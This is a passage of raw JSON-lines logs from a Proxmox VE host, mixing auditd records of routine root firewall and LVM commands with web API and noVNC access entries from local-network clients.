a2=\"-f\" a3=\"-\""} {"@timestamp":1781964072832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964072.832:59464): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965697,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965965.697:67871): table=filter family=7 entries=4 op=xt_replace pid=65180 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965084646,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/vncwebsocket?port=5900&vncticket=PVEVNC%3A6A36A11B%3A%3Ab%2Fks6KAwvI9HYP4x7pJCIEsv8ZnUGD8pTTA5wps2l6ete7S%2FuRcAmFg4bG7LE6bc25zGeUGhRUzKvgtU97pfqCP50Zt4grsjJMiWOa0SmwYQJr3SPpEIXsgqpe1W0zsv8BpE7oaXkQehYyiy3l3t1AGWTS%2FORv2jEvkGtPIJ6%2BHTwyr3u5OqNFoSuckAmMS6yC4C3sIyftRFCI3uWL%2BXBIK5e3rxzrXqRWo4e8KnMSMAOTy3cMKHxcjDqI90cNDhlo1FXmWCe2S9ap02aVa6QWv4EQi9WK5zYiWBlEscELxD1QqVsCJDHAkMsyNK%2BTD4PjIH9C9cZdwna4uFWDaGdQ%3D%3D HTTP/1.1\" 101 -"} {"@timestamp":1781966336010,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.010:69340): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964731466,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965668758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964294097,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964294.097:60402): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73b67d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.090:69001): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe122c8cf0 a1=55d3df1d13d0 a2=55d3df1af680 a3=5 items=1 ppid=66261 pid=66262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.938:69309): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66534 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685281,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.281:62139): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964072832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964072.832:59463): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955532,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965955.532:67825): table=filter family=7 entries=4 op=xt_replace pid=65134 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/package.json HTTP/1.1\" 200 25"} {"@timestamp":1781966336005,"@rawstring":"node=pve type=EXECVE msg=audit(1781966336.005:69339): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964731466,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965668758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964293633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964293.633:60401): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.997:68983): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeea7e0740 a1=5739fc611410 a2=5739fc5ef680 a3=5 items=1 ppid=66242 pid=66243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.932:69308): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964684789,"@rawstring":"node=pve type=EXECVE msg=audit(1781964684.789:62136): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964072823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964072.823:59461): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945367,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965945.367:67782): table=filter family=7 entries=4 op=xt_replace pid=65094 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/toggleextrakeys.svg HTTP/1.1\" 200 1769"} {"@timestamp":1781966335999,"@rawstring":"node=pve type=EXECVE msg=audit(1781966335.999:69338): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964731466,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965667761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964293.627:60398): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.866:68975): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.926:69307): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964684762,"@rawstring":"node=pve type=EXECVE msg=audit(1781964684.762:62135): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964072823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964072.823:59460): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965935211,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965935.211:67740): table=filter family=7 entries=4 op=xt_replace pid=65054 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app.js?ver=1.6.0-3 HTTP/1.1\" 200 97168"} {"@timestamp":1781966335993,"@rawstring":"node=pve type=EXECVE msg=audit(1781966335.993:69337): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964728662,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965667761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964288617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964288.617:60395): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.866:68974): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.921:69306): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680271,"@rawstring":"node=pve type=EXECVE msg=audit(1781964680.271:62134): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964067815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964067.815:59458): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965926052,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965926.052:67697): table=filter family=7 entries=4 op=xt_replace pid=65014 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/sounds/bell.oga HTTP/1.1\" 200 8495"} {"@timestamp":1781966335988,"@rawstring":"node=pve type=EXECVE msg=audit(1781966335.988:69336): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964727641,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965666755,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964288.605:60392): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.858:68972): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.914:69305): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680259,"@rawstring":"node=pve type=EXECVE msg=audit(1781964680.259:62131): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964067815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964067.815:59457): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915882,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965915.882:67655): table=filter family=7 entries=4 op=xt_replace pid=64973 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/error.svg HTTP/1.1\" 200 1212"} {"@timestamp":1781966335982,"@rawstring":"node=pve type=EXECVE msg=audit(1781966335.982:69335): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964727641,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965666755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 940"} {"@timestamp":1781964285754,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.754:60389): arch=c000003e syscall=59 success=yes exit=0 a0=56c911bc6b20 a1=56c911bd2a30 a2=56c911ba0680 a3=5 items=2 ppid=57981 pid=57987 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.858:68971): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325907,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966325.907:69304): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680087,"@rawstring":"node=pve type=EXECVE msg=audit(1781964680.087:62126): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"chkexpiry\""} {"@timestamp":1781964067810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964067.810:59455): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965905728,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965905.728:67613): table=filter family=7 entries=4 op=xt_replace pid=64934 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/fullscreen.svg HTTP/1.1\" 200 1151"} {"@timestamp":1781966334839,"@rawstring":"node=pve type=EXECVE msg=audit(1781966334.839:69334): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964727641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965664729,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964285751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.751:60388): arch=c000003e syscall=59 success=yes exit=0 a0=56c8e1de1ac8 a1=7ffca54df6b0 a2=56c911ba0680 a3=56c8e1dc524e items=2 ppid=57981 pid=57983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966220.846:68967): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966324735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966324.735:69303): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d3216fe0 a1=64f8d73e0a20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680047,"@rawstring":"node=pve type=EXECVE msg=audit(1781964680.047:62123): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781964067810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964067.810:59454): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965895552,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965895.552:67568): table=filter family=7 entries=4 op=xt_replace pid=64889 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/connect.svg HTTP/1.1\" 200 1202"} {"@timestamp":1781966334814,"@rawstring":"node=pve type=EXECVE msg=audit(1781966334.814:69333): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964726633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781965664729,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781964285750,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.750:60387): arch=c000003e syscall=59 success=yes exit=0 a0=7ffca54df670 a1=56c911bc21c0 a2=56c911ba0680 a3=5 items=2 ppid=57981 pid=57982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966220.846:68966): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966324694,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966324.694:69302): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5870 a1=64f8d16faaf0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680006,"@rawstring":"node=pve type=EXECVE msg=audit(1781964680.006:62121): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781964065680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.680:59450): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc495ff260 a1=63c4b45b7310 a2=63c4b45b0680 a3=5 items=1 ppid=57097 pid=57098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965885392,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965885.392:67525): table=filter family=7 entries=4 op=xt_replace pid=64849 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/info.svg HTTP/1.1\" 200 1226"} {"@timestamp":1781966334104,"@rawstring":"node=pve type=EXECVE msg=audit(1781966334.104:69332): argc=1 a0=\"clear\""} {"@timestamp":1781964724615,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965664729,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964285745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.745:60385): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966220.839:68964): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66227 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966321324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.324:69301): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253d50 a1=637ee7253dd0 a2=637ee7240ef0 a3=8 items=2 ppid=66521 pid=66523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675289,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.289:62120): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964065594,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964065.594:59432): arch=c000003e syscall=59 success=no exit=-2 a0=7fff93864070 